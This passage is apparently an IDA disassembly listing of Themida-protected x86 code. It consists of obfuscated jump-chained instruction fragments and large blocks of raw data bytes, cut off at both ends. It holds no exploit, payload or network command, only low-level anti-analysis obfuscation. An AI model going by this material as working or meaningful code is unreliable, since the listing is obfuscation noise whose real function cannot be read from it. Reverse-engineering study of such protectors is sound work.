41370414h or edi, ecx pop ecx shl edi, 4 sub edi, 6A04A962h jmp loc_550FC5 ; --------------------------------------------------------------------------- loc_56409A: ; CODE XREF: Themida_:0055A396j xor ecx, [esp] xor [esp], ecx jmp loc_55B460 ; --------------------------------------------------------------------------- loc_5640A5: ; CODE XREF: Themida_:0055624Fj push edx mov edx, 141A1B62h and edx, 4E753F9Bh sub edx, 360A6CD7h xor edx, 2718177Bh xor edx, 14274CF0h not edx sub edx, 2C50A5Bh add ebp, edx pop edx jmp loc_56112D ; --------------------------------------------------------------------------- loc_5640D3: ; CODE XREF: Themida_:005608D9j mov ecx, [esp] add esp, 4 push esi jmp loc_564CD8 ; --------------------------------------------------------------------------- dw 0BA52h dd 3065FB6h, 9581E942h, 0A4B8FFFFh, 310109EBh, 0DA0158C3h dd 0FEC5CFE9h, 6B61BEFFh, 0FCE93485h db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564107: ; CODE XREF: Themida_:005569DEj xor edx, 3AB726D2h add esi, edx pop edx xchg esi, [esp] pop esp jmp loc_554E0C ; --------------------------------------------------------------------------- loc_564119: ; CODE XREF: Themida_:0056405Bj mov [esp], ebx push dword ptr [esp] jmp loc_550787 ; --------------------------------------------------------------------------- loc_564124: ; CODE XREF: Themida_:00553168j sub esp, 4 mov [esp], ebx jmp loc_55242E ; --------------------------------------------------------------------------- db 0BEh dd 3A45345Ch, 0FFF031E9h, 5AD731FFh, 160CEF81h, 0F829D57Bh dd 0B850565Fh, 7E66489h, 2958C689h, 132D5EF0h, 0E9207B6Bh dd 0FFFFA7EBh, 1C3BD55h, 0E98900DEh, 58C1315Dh, 56E9CE89h dd 2DFFFFA0h, 4BFC9E3Dh, 2958C601h, 707E9D6h, 0C481FFFFh dd 4, 5A80CD81h, 8145667Ah, 484E9AE5h, 32F3E96Bh, 3C89FFFFh dd 6D696824h, 3C8B4896h, 4C48324h, 0A5E9DFF7h, 89FFFF02h dd 5B54241Ch, 4C381h, 0EC830000h, 0E527E904h, 0CD89FFFEh dd 0FF3D1BE9h db 0FFh byte_5641C5 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:0054FD3Co dd 0FFB577E9h, 4C481FFh, 50000000h, 2B8h, 8BEE8100h, 106185Eh dd 8BC681C6h, 8B06185Eh, 0AE92404h, 81FFFF8Eh, 192D65E9h dd 58E95372h, 83FFFFB5h, 0BB5304C4h, 269D448Eh, 15BD801h dd 0A1E952C8h, 0D0FFFF72h, 96CA80E2h, 0F280CAFEh, 0D509E9DCh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56421E: ; CODE XREF: Themida_:0055E558j pop eax jmp loc_55FBF6 ; --------------------------------------------------------------------------- dd 5366C8FEh, 61E9FAB3h, 56FFFFFBh, 0FFF478E9h, 0EC8152FFh dd 4, 0B8240489h, 751955D3h, 6BDB68h, 0CF46E900h, 515AFFFFh dd 0C181E189h, 4, 5104C183h, 42474FFh, 24048F59h, 241C875Ch dd 0FFCBA1E9h, 43E95DFFh db 90h, 2 dup(0FFh) byte_564273 db 68h ; DATA XREF: Themida_:0054FD68o dd 3013h, 0FFEDD4E9h, 45C1BAFFh, 0E2C16249h, 84F28107h dd 0E924A2E0h, 0FFFF4BE5h, 26D1BF57h, 834F0C22h, 3C8904ECh dd 2404FF24h, 0FF1ED5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5642A5: ; CODE XREF: Themida_:005628EAj push esi jmp loc_55D5B1 ; --------------------------------------------------------------------------- db 0F7h dd 6A02E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5642B2: ; CODE XREF: Themida_:0055A288j sub esi, ebp pop ebp xchg esi, [esp] pop esp mov [esp], ebp jmp loc_55ADE3 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 405h, 24048700h, 0E924248Bh, 0FFFFEDAAh ; --------------------------------------------------------------------------- loc_5642D8: ; CODE XREF: Themida_:00562B8Dj mov esp, [esp] jmp loc_556686 ; --------------------------------------------------------------------------- loc_5642E0: ; CODE XREF: Themida_:0055CC72j add edx, esi pop esi push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55C014 ; --------------------------------------------------------------------------- dd 0F8E9FE01h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5642FB: ; CODE XREF: Themida_:00556E21j not esi xchg esi, [esp] loc_564300: ; DATA XREF: Themida_:0053E5E4o pop edi sub edi, 25EADE7Fh mov esi, edi mov edi, [esp] push edi jmp loc_55D082 ; --------------------------------------------------------------------------- dw 2C8Bh dd 0E6895624h, 4C681h, 0C6810000h, 4, 0FED983E9h db 0FFh ; --------------------------------------------------------------------------- loc_564329: ; CODE XREF: Themida_:00557114j xor eax, [esp] mov esp, [esp] shr edx, 8 jmp loc_564A8A ; --------------------------------------------------------------------------- db 81h dd 0D004246Ch, 5D07EE03h, 8B2434FFh, 0C4832404h, 4C48304h dd 405h, 9EBF5700h, 0E95F722Fh, 0FFFEC60Ch, 8124248Bh dd 4C4h, 0C496E900h, 3C89FFFEh, 23FBF24h, 4F2D5CCDh, 0E97EAA22h dd 0FFFFB368h, 2EDC145h, 0FF7F14E9h db 0FFh ; --------------------------------------------------------------------------- loc_564385: ; CODE XREF: Themida_:0055711Ej pop ecx sub [esp+8], edi pop edi jmp loc_554C37 ; --------------------------------------------------------------------------- dd 5F17EB81h, 0C3813B5Ah, 68764C6Eh, 2EA2ED81h, 0DD012E26h dd 52C1BA52h, 4A4A61D7h, 0C0FF281h, 0F2813752h, 78A37012h dd 79E9D501h, 0BAFFFF90h, 784A344Dh, 7571F281h, 0E2C12E45h dd 76C28103h, 0F7298F54h, 2BF281DAh, 8913DAFBh, 7EE95AD1h dd 66FFFF56h, 0E9240489h, 0FFFF87BFh ; --------------------------------------------------------------------------- loc_5643EC: ; CODE XREF: Themida_:0056382Ej add esp, 4 push 18BEh mov [esp], edx push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 jmp loc_563C71 ; --------------------------------------------------------------------------- loc_56441D: ; CODE XREF: Themida_:0055D17Aj add ebx, edi jmp loc_564ED8 ; --------------------------------------------------------------------------- dd 1E3BA52h, 1CE9375Ah, 54FFFF91h, 0D037E95Ah, 0E95AFFFFh dd 0FFFF2E9Dh ; --------------------------------------------------------------------------- loc_56443C: ; CODE XREF: Themida_:005506E7j mov ebx, 9233B9B2h sub edi, ebx pop ebx jmp loc_55C9C4 ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h dd 43B45024h, 0FF517AE9h db 0FFh ; --------------------------------------------------------------------------- loc_564455: ; CODE XREF: Themida_:00558ADCj pop esp add ecx, edx pop edx jmp loc_551B35 ; --------------------------------------------------------------------------- dw 0F800h dd 83241C8Bh, 0E95304C4h, 0FFFFB9AFh, 41B7B850h, 0D8F7199Fh dd 0FFE0EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_564479: ; CODE XREF: Themida_:0055659Ej push esi jmp loc_555B42 ; --------------------------------------------------------------------------- loc_56447F: ; CODE XREF: Themida_:00552A43j pop esp add ebp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] mov esp, [esp] push esi push 1EC6h jmp loc_55D6BA ; --------------------------------------------------------------------------- db 0B9h dd 371D2CF3h, 8141D1F7h, 6342A0E1h, 63D5E939h, 44E9FFFFh dd 81FFFEBAh, 781F0FC7h, 8924E936h, 835AFFFFh, 0A66804C7h dd 89000024h, 74FF243Ch, 3C8B0424h, 4C48124h, 8F000000h dd 0E95C2404h, 0FFFEBA17h ; --------------------------------------------------------------------------- loc_564500: ; CODE XREF: Themida_:00551E5Ej mov ebp, esi pop esi sub esi, ebp pop ebp sub esi, edi add esi, 66452CE0h push edx mov edx, 11DD693Eh inc edx inc edx sub edx, 0A06927BAh sub esi, edx pop edx jmp loc_5628E9 ; --------------------------------------------------------------------------- dd 0EB81C301h, 22CC3362h, 6295EB81h, 5551473Bh, 8811E5BDh dd 9752E925h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56453E: ; CODE XREF: Themida_:00562310j add esi, edi sub esi, 725E4CA5h sub esi, 1FA63552h jmp loc_56324C ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 0FFCADFE9h db 0FFh ; --------------------------------------------------------------------------- loc_564559: ; CODE XREF: Themida_:0055658Aj push eax push esi mov esi, 17C00B33h push esi mov esi, 5D107531h mov eax, 0F44C15A3h add eax, esi jmp loc_550D57 ; --------------------------------------------------------------------------- loc_564572: ; CODE XREF: Themida_:00555CCBj push esp mov eax, [esp] add esp, 4 push ebp mov ebp, 4E51783h neg ebp sub ebp, 0FB1AE879h add eax, ebp pop ebp push 50DBh mov [esp], edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] jmp loc_55161F ; --------------------------------------------------------------------------- db 80h, 0F4h, 0A1h dd 5BE9E328h, 1FFFFB9h, 0F1EB81F3h, 81121805h, 0E36AADEBh dd 2434FF71h, 4C4835Eh, 3BE268h, 242C8900h, 2BDh, 4FC38100h dd 135FB46h, 4FEB81EBh, 0E935FB46h, 0FFFEF958h ; --------------------------------------------------------------------------- loc_5645E4: ; CODE XREF: Themida_:00558558j add esp, 4 sub esp, 4 mov [esp], ebx push 6379h mov [esp], eax push 3239136Ch mov eax, [esp] jmp loc_55ABC0 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 8B2434FFh, 0C483241Ch, 4C48104h, 58000000h, 224D3A2Dh dd 5D82974h, 74224D3Ah, 0E92434FFh, 0FFFEC86Ch ; --------------------------------------------------------------------------- loc_56462C: ; CODE XREF: Themida_:00554E12j shl ch, 8 xor ch, 0F7h mov dl, ch mov ecx, [esp] add esp, 4 xor al, dl jmp loc_55DA56 ; --------------------------------------------------------------------------- dd 0A81BD1BAh, 0BF6FE949h, 0C683FFFEh, 24348704h, 10E95E5Ch dd 5CFFFEFDh, 88DE8852h, 1C8B5AF5h, 4C48324h, 0E924048Bh dd 0FFFF15E5h, 81241C89h, 4ECh, 24248900h, 4240481h, 5B000000h dd 37D768h, 243C8900h, 0FF8D53E9h, 4E7868FFh, 34890000h dd 11BF5724h, 89431233h, 0A9E95FFEh db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5646A7: ; CODE XREF: Themida_:00559B2Fj jnz loc_561A8E push edx push ebp mov ebp, esp push edi mov edi, 63F26A96h shr edi, 8 shr edi, 2 xor edi, 359A240Dh xor edi, 3582D893h add ebp, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_55CBB0 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0BFBF5700h, 517DC248h, 0FEE5C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5646E9: ; CODE XREF: Themida_:0055CB52j mov esi, ebx jmp loc_56482F ; --------------------------------------------------------------------------- loc_5646F0: ; CODE XREF: Themida_:00561B08j sub bl, al sub bl, 0C8h push eax jmp loc_555653 ; --------------------------------------------------------------------------- db 31h dd 0D6015DEAh, 0BBBF575Ah, 4F592170h, 70BEF781h, 0FE015921h dd 83243C8Bh, 348704C4h, 0D985E924h, 1489FFFEh, 275EBA24h dd 9E978A8h, 89FFFFE8h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 2434895Ch, 663168h, 24048900h, 9B6388B8h, 98C0D0Dh dd 0E8C11E6Bh, 0DB5D3505h, 0DEE900FFh db 0E6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56475F: ; CODE XREF: Themida_:0055A6F3j add eax, esi pop esi push edx push ebp mov ebp, 222F31A2h jmp loc_5578B5 ; --------------------------------------------------------------------------- dw 535Ah dd 0FF140DE9h, 5AEB81FFh, 0E92E4663h, 0FFFF903Ch, 8B2434FFh dd 0C4832404h, 4C48304h, 4D43E955h, 34FFFFFFh, 0C4835824h dd 2434FF04h, 38186858h, 3C890000h, 0E9545024h, 0FFFF1C99h dd 8304E9C1h, 2C8904ECh, 857BD24h, 0C7687C9Dh, 8900001Fh dd 0A68243Ch, 8B059402h, 0C483243Ch, 0E9FD0904h, 0FFFF37A4h dd 0E9242C31h, 0FFFFD70Ah, 0C106E0C1h, 0EC8304E0h, 241C8904h dd 0FF1757E9h db 0FFh ; --------------------------------------------------------------------------- loc_5647ED: ; CODE XREF: Themida_:0055FFB1j pop edi add edx, eax mov eax, [esp] add esp, 4 add edx, eax jmp loc_550C23 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 56h dd 144C9FBEh, 53DEF73Ch, 157408BBh, 0E9D3F76Eh, 0FFFF61FFh ; --------------------------------------------------------------------------- loc_564814: ; CODE XREF: Themida_:005634F4j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55D42C ; --------------------------------------------------------------------------- db 87h dd 0FE9240Ch db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56482F: ; CODE XREF: Themida_:005646EBj mov ebx, [esp] add esp, 4 push edx push edi jmp loc_55D738 ; --------------------------------------------------------------------------- loc_56483F: ; CODE XREF: Themida_:005500AFj push 4AEBh mov [esp], edx mov dh, bh push ecx push eax mov ah, dh push edx mov dh, ah jmp loc_55F046 ; --------------------------------------------------------------------------- loc_564855: ; CODE XREF: Themida_:0055455Fj push dword ptr [esp] pop ebp sub esp, 4 mov [esp], eax push esp mov eax, [esp] sub esp, 4 jmp loc_55D338 ; --------------------------------------------------------------------------- loc_564871: ; CODE XREF: Themida_:005570FFj sub ebx, 3CD941EBh xor esi, ebx mov ebx, [esp] add esp, 4 and eax, esi pop esi or eax, eax jmp loc_553AFA ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 72h dd 66FFFFC7h, 66C8B60Fh, 7CE99C51h, 81FFFEB6h, 715474F6h dd 0DBE9465Dh, 53FFFF78h, 0FFF4EAE9h db 0FFh byte_5648AD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FC78o dd 4EC8324h, 0FF340EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5648B9: ; CODE XREF: Themida_:005586F9j mov ebp, esp push ecx mov ecx, 298A0FEFh inc ecx shl ecx, 6 push ebx jmp loc_55A04F ; --------------------------------------------------------------------------- db 0C1h dd 0D3F704E3h, 4087F381h, 0F3814601h, 39C312DEh, 895BDD29h dd 0C2015DEAh, 1FCD6858h, 4890000h, 0FFFFB824h, 0C201FFFFh dd 8324048Bh, 246804C4h, 89000070h, 92E9242Ch db 0E3h, 0FEh, 0FFh byte_564907 db 66h ; DATA XREF: Themida_:0054FD30o dd 663EC768h, 51241C89h, 5350C588h, 8852EF88h, 5AF488FEh dd 0FF3D21E9h db 0FFh ; --------------------------------------------------------------------------- loc_564921: ; CODE XREF: Themida_:00552971j add ebx, edi add ebx, 4E973EB2h jmp loc_55D142 ; --------------------------------------------------------------------------- loc_56492E: ; CODE XREF: Themida_:00564EECj inc edi push ebp mov ebp, 75226F2Ah jmp loc_55FE41 ; --------------------------------------------------------------------------- dw 0C281h dd 6931034Dh, 784BC281h, 0DA01011Fh, 784BEA81h, 0EA81011Fh dd 6931034Dh, 2414875Bh, 6824248Bh, 2391h, 89240C89h, 4C181E1h dd 83000000h, 0C8704C1h, 0CC74E924h, 74FFFFFFh, 0F7E90424h dd 29FFFFCCh, 242C8BE9h, 104C483h, 0D50159CDh, 703FED81h dd 0E95A1C1Fh, 0FFFF5A83h ; --------------------------------------------------------------------------- loc_564998: ; CODE XREF: Themida_:0055558Dj xchg eax, esi jmp loc_558E84 ; --------------------------------------------------------------------------- dw 0D5F6h dd 0C8BEF88h, 4C48324h, 0FEBEC8E9h, 0FFF031FFh, 525E2434h dd 0BE56E289h, 4, 835EF201h, 148704C2h, 24248B24h, 4EC81h dd 2C890000h, 109BBD24h, 0ED814BB0h, 5AD545FCh, 8107E5C1h dd 965F70CDh, 45CD812Bh, 8113356Ch, 53A721C5h, 8BEB01B1h dd 0C483242Ch, 26C38104h, 2927313Ch, 26EB81C3h, 5727313Ch dd 2716BE56h, 8950314Bh, 0E9C789F0h, 0FFFFC003h, 0D6E9F189h dd 0DFFFFDEh, 69C75E29h, 5707E8C1h, 7C5F25BFh, 0E9F80971h dd 0FFFFC1D4h, 4307EBC1h, 739DE381h, 0F3812743h, 46CC5B04h dd 0FFE256E9h, 4EF83FFh, 8B243C87h, 54E92424h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A57: ; CODE XREF: Themida_:0055CB15j add ecx, 4 jmp loc_552E9C ; --------------------------------------------------------------------------- dw 0B3BFh dd 0E931195Ch, 0FFFF42CAh, 4BF57h, 0F9010000h, 81243C8Bh dd 4C4h, 240C8700h, 3124248Bh, 874CE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A8A: ; CODE XREF: Themida_:00564332j not edx shl edx, 1 jmp loc_558B89 ; --------------------------------------------------------------------------- db 0BFh dd 4, 0FFF575E9h db 0FFh byte_564A9D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FC50o dd 0EC815124h, 4, 0FF7D39E9h, 5EF229FFh, 31241433h, 14332414h dd 0C895C24h, 0B455E924h, 0B353FFFEh, 8BD988B2h, 0C483241Ch dd 66CA0004h, 0F244E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564AD6: ; CODE XREF: Themida_:00552CD9j xor ebx, 43734375h sub ebx, 0E9D2DDCh jmp loc_5530C9 ; --------------------------------------------------------------------------- loc_564AE7: ; CODE XREF: Themida_:0055346Ej mov ebp, esp jmp loc_550973 ; --------------------------------------------------------------------------- loc_564AEE: ; CODE XREF: Themida_:0055ED86j mov [esp], ecx jmp loc_551807 ; --------------------------------------------------------------------------- dw 1C31h dd 241C3324h, 8B24248Bh, 2682404h, 8900004Ah, 0E6892434h dd 5E08950h, 4, 0FFE1A0E9h, 0E95D58FFh, 17Ah, 148BF708h dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 33B0505Ch dd 2004642Ch, 0C8FEF32Ch, 0C728442Ch, 1CE95058h, 29FFFEE3h dd 0FFD089C2h, 835A2434h, 7E0504C4h, 812274D9h, 0F92E06EBh dd 0E9C3290Dh, 0FFFEFD12h ; --------------------------------------------------------------------------- loc_564B68: ; CODE XREF: Themida_:0055F09Fj mov [esp], eax push ebx jmp loc_55CF2F ; --------------------------------------------------------------------------- loc_564B71: ; CODE XREF: Themida_:0055FA53j push 4489h mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_558780 ; --------------------------------------------------------------------------- loc_564B85: ; CODE XREF: Themida_:0055E7F3j xor dl, 4Ch sub dl, 48h jmp loc_55D43E ; --------------------------------------------------------------------------- loc_564B90: ; CODE XREF: Themida_:0055280Fj xchg ebx, [esp] jmp loc_550590 ; --------------------------------------------------------------------------- dd 4C281h, 89560000h, 4C681E6h, 81000000h, 4EEh, 24348700h dd 240C895Ch, 4038BB53h, 0F0E95613h db 0F2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564BBF: ; CODE XREF: Themida_:0055FD78j mov eax, [esp] add esp, 4 jmp loc_55EF6A ; --------------------------------------------------------------------------- db 5Dh, 5Bh, 0E9h dd 0FFFF94E2h, 0E9243489h, 0FFFF6B75h ; --------------------------------------------------------------------------- loc_564BDC: ; CODE XREF: Themida_:005562B3j mov edx, 4 add esi, edx jmp loc_565320 ; --------------------------------------------------------------------------- dd 2404875Bh, 1D39E95Ch, 0C281FFFFh, 4, 0FEEEC8E9h, 0E9DE89FFh dd 0FFFECF59h, 8B241433h, 3CD32424h, 4E99C24h, 81FFFEB3h dd 4ECh, 243C8900h, 441C68BFh, 0EF814763h, 9F70FE82h, 51EAE981h dd 0F92939BCh, 51EAC181h, 0E95F39BCh, 0FFFFB996h, 348BF501h dd 0E0B5E924h, 0C89FFFEh, 4B85024h, 56000000h, 0F189C689h dd 8124348Bh, 4C4h, 24048B00h, 4C481h, 0D0E90000h, 80FFFFA1h dd 0EF8042C7h, 50CF002Fh, 61E9A5B4h, 2DFFFF54h, 6BC64850h dd 5005F829h, 5F6BC648h, 0FFEDD5E9h db 0FFh byte_564C8D db 8Fh, 2, 0E9h ; DATA XREF: Themida_:0054FCFCo dd 0FFFEB283h ; --------------------------------------------------------------------------- loc_564C94: ; CODE XREF: Themida_:0055D288j pop ebp jmp loc_556D90 ; --------------------------------------------------------------------------- dw 0D0F7h dd 6FB5972Dh, 6999E972h, 6857FFFFh, 200654BFh, 87F7815Fh dd 89F010F8h, 7AE95FFEh db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564CBB: ; CODE XREF: Themida_:0055FBF1j xor dl, 0B4h and dl, 2 jmp loc_561AFF ; --------------------------------------------------------------------------- dw 15Ah dd 72C681FEh, 5F17AB05h, 0E92434FFh, 0FFFF1BD6h ; --------------------------------------------------------------------------- loc_564CD8: ; CODE XREF: Themida_:005640DDj push ebx push edx push 0C1A060Ah mov edx, [esp] jmp loc_550C2E ; --------------------------------------------------------------------------- db 0BDh dd 4, 795CBD55h, 7AE91BD4h, 88FFFF5Eh, 5AF088DEh, 0FFC96BE9h dd 0C181FFh, 0FF414C0Ch, 0E95D2434h, 0FFFF5354h, 405h dd 42D00h, 4330000h, 9CFDE924h, 3368FFFFh, 89000026h, 0E6892434h dd 0C5D68h, 0E94CE900h, 0E987FFFFh, 3A58BB53h, 0D9312637h dd 0E9241C8Bh, 0FFFEDD3Eh, 83241C89h, 48904ECh, 6B77B824h dd 8FE94C20h db 0Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D5B: ; CODE XREF: Themida_:0055544Bj push 72F9h mov [esp], ebx mov bh, cl mov al, bh pop ebx mov ecx, [esp] jmp loc_55FCB7 ; --------------------------------------------------------------------------- dd 4C481h, 0BB530000h, 19DB431Fh, 0E087EB81h, 0DE21C86Ch dd 3E6C15Bh, 10C2F681h, 0BF578950h, 751D30AEh, 1063CF81h dd 7EE91E4Ah, 89FFFEF3h, 0F1BB241Ch, 4B5DA56Ch, 6246BF57h dd 0E7811299h, 70E46B26h, 5702EFC1h, 5F241CF7h, 240CFF57h dd 0DEF815Fh, 8149B36Fh, 0EB6196F7h, 5FFB29CFh, 0FFB408E9h dd 5DE801FFh, 0FEBCD0E9h, 585450FFh, 4BD55h, 0E8010000h dd 0FFAC9CE9h, 876BEFFh, 0E9504566h, 0FFFF90F8h, 22E0C981h dd 0E9816C1Ch, 1FE1984Eh, 2D59C829h, 66F04C23h, 0E924148Bh dd 0FFFFB796h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch dd 0E9592434h, 0FFFFEFF0h ; --------------------------------------------------------------------------- loc_564E30: ; CODE XREF: Themida_:0055490Cj mov eax, esi pop esi xchg eax, edi jmp loc_553E7B ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 37680000h, 8900004Eh, 0BDBF243Ch, 2931782Bh, 0D3015FFBh dd 2BBDC381h, 34FF3178h, 24148B24h, 4C481h, 0E9530000h dd 0FFFF351Bh ; --------------------------------------------------------------------------- loc_564E68: ; CODE XREF: Themida_:00562939j add esp, 4 push 5789h mov [esp], ecx push esp pop ecx push edi mov edi, 4 add ecx, edi mov edi, [esp] add esp, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push edx push 7C233E45h pop edx jmp loc_55F47B ; --------------------------------------------------------------------------- db 0C1h dd 0B85006EFh, 78283E35h, 18E9E8D1h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564EAF: ; CODE XREF: Themida_:00552848j shr ebp, 8 shl ebp, 7 xor ebp, 530647DAh neg ebp shr ebp, 2 jmp loc_55576B ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0D8E90000h, 0E9FFFEE0h, 0FFFEB03Fh ; --------------------------------------------------------------------------- loc_564ED8: ; CODE XREF: Themida_:0056441Fj push dword ptr [esp] pop edi add esp, 4 jmp loc_55DC69 ; --------------------------------------------------------------------------- dd 0DEE95456h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564EEB: ; CODE XREF: Themida_:00554154j pop edx jmp loc_56492E ; --------------------------------------------------------------------------- db 42h, 68h, 8Fh dd 89000014h, 0E9552434h, 0FFFED762h ; --------------------------------------------------------------------------- loc_564F00: ; CODE XREF: Themida_:00562A83j sub ecx, edx sub ecx, 7AF64467h pop edx xor ecx, [esp] jmp loc_55967D ; --------------------------------------------------------------------------- db 5Fh, 0F7h, 0D7h dd 0FF5639E9h, 31D5F7FFh, 0E9CD31E9h, 0FFFF26A3h, 4EC81h dd 1C890000h, 2474FF24h, 88F2E904h, 0E981FFFFh, 69DE594Ah dd 0E9241C8Bh, 0FFFF0762h, 0EE81C601h, 58AB16D8h, 0BB85055h dd 0C1418440h, 13E903E8h, 81FFFF67h, 4C4h, 1C8B5A00h, 5DE8E924h dd 0C181FFFFh, 225F0DA1h, 0FEFA0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_564F75: ; CODE XREF: Themida_:005605CDj add ebp, 2D6E6AFEh sub ebp, 3EE4AC55h jmp loc_55DD89 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8904EC83h, 4BA2414h, 0E9000000h, 0FFFF4CECh ; --------------------------------------------------------------------------- loc_564F9C: ; CODE XREF: Themida_:0055FCC6j xchg edi, [esp] jmp loc_554782 ; --------------------------------------------------------------------------- loc_564FA4: ; CODE XREF: Themida_:005565D3j add ebp, 0D7842C1h not ebp and ebp, 2DAD0480h inc ebp sub esp, 4 mov [esp], eax mov eax, 79CA6EBAh jmp loc_554207 ; --------------------------------------------------------------------------- dw 0E781h dd 1EBA6FA7h, 2D64C781h, 0FE89370Ch, 7E6C15Fh, 6987EE81h dd 0B850032Fh, 0F24652F9h, 8958C631h, 9BE95EF0h, 0D1FFFF80h dd 3E0C1E8h, 316D082Dh, 12D16h, 0E0C10000h, 0DC07E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565006: ; CODE XREF: Themida_:00556030j pop esp pop dword ptr [esp] pop esp and [esp], eax pushf jmp loc_54FF17 ; --------------------------------------------------------------------------- loc_565014: ; CODE XREF: Themida_:00555974j pop esp push 1CDDh mov [esp], edi add dword ptr [esp], 0A7B3CB1h jmp loc_555CBF ; --------------------------------------------------------------------------- db 81h, 0C3h, 0F0h dd 8B1EBC3Eh, 0C481243Ch, 4, 279E68h, 0B7C8E900h, 2C89FFFEh dd 84BD24h, 0DDF73F90h, 8101C583h, 8A6FA0EDh, 0D2EFE940h dd 0E953FFFFh, 0FFFFB7DBh ; --------------------------------------------------------------------------- loc_565060: ; CODE XREF: Themida_:0055BEC7j sub edi, 935369B3h mov edx, edi mov edi, [esp] add esp, 4 dec edx not edx neg edx add edx, 38E8E462h sub esp, 4 jmp loc_55824F ; --------------------------------------------------------------------------- loc_565087: ; CODE XREF: Themida_:005530AEj pop esp mov [esp], ebx push dword ptr [esp+4] pop ebx jmp loc_55148A ; --------------------------------------------------------------------------- db 50h, 0E9h, 8Fh dd 0F7FFFF11h, 36F681DEh, 1E22093h, 4335EF0h, 24043124h dd 0E9240433h, 19Dh, 6FE9E089h, 0FFFECDh, 24148BF0h, 815B5453h dd 4C3h, 4C38300h, 31241C33h, 1C33241Ch, 68665C24h, 89665AA3h dd 7368241Ch, 89000072h, 0D0E9240Ch db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5650EB: ; CODE XREF: Themida_:0055C16Cj add eax, edx mov edx, [esp] add esp, 4 xchg eax, [esp] pop esp push edx sub esp, 4 mov [esp], esp push edx jmp loc_552125 ; --------------------------------------------------------------------------- loc_565107: ; CODE XREF: Themida_:0055AE2Fj not edx inc edx add edx, 1FC765D1h xchg eax, edx jmp loc_559DCF ; --------------------------------------------------------------------------- dw 0E1B9h dd 29194150h, 240C8BC8h, 0E904C483h, 0FFFF5497h, 24348151h dd 6C9B30DBh, 0DBF2815Ah, 8B6C9B30h, 4FE9240Ch, 81FFFF71h dd 4F605AEDh, 1C6F095Dh, 0ADC9E95Dh, 0ED80FFFEh, 0F3E95B0Ch db 0CBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565157: ; CODE XREF: Themida_:00554747j xchg eax, [esp] push eax not dword ptr [esp] mov eax, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax jmp loc_563396 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 55EF6800h, 34890000h, 8E8EE924h, 868FFFFh, 8900007Bh dd 0E2892414h, 46851h, 0E9590000h, 0FFFFB93Eh, 68241C89h dd 2B3h, 68243489h, 122B50B4h, 0E924348Bh, 0FFFF8F8Eh dd 0F617EA80h, 0BA3DE9DAh, 6657FFFFh, 662270BFh, 34FFF889h dd 1AE95F24h, 57FFFF50h, 7075A9BFh, 0A580BA48h, 0FA011219h dd 0FF1CF5E9h, 53E95BFFh, 8BFFFF77h, 0C483241Ch, 74FF5204h dd 8F5A0424h, 895C2404h, 93E9240Ch, 81FFFFC0h, 0A511FCEBh dd 0E9DBF763h, 0FFFF9355h, 592434FFh, 4C481h, 55560000h dd 56580568h, 0DDF75D79h, 0ABE5814Dh, 810EBA6Bh, 0ADF25DC5h dd 5DEE89FDh, 17E9F029h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565233: ; CODE XREF: Themida_:0055D8CAj mov [esp], esp jmp loc_5587EB ; --------------------------------------------------------------------------- db 68h dd 4, 0FF9367E9h, 9DEA81FFh, 5F6D867Ch, 0FFA791E9h, 24248BFFh dd 0F5BA5257h, 686E8A19h, 6A1h, 0B9240C89h, 0A0F9F6DEh dd 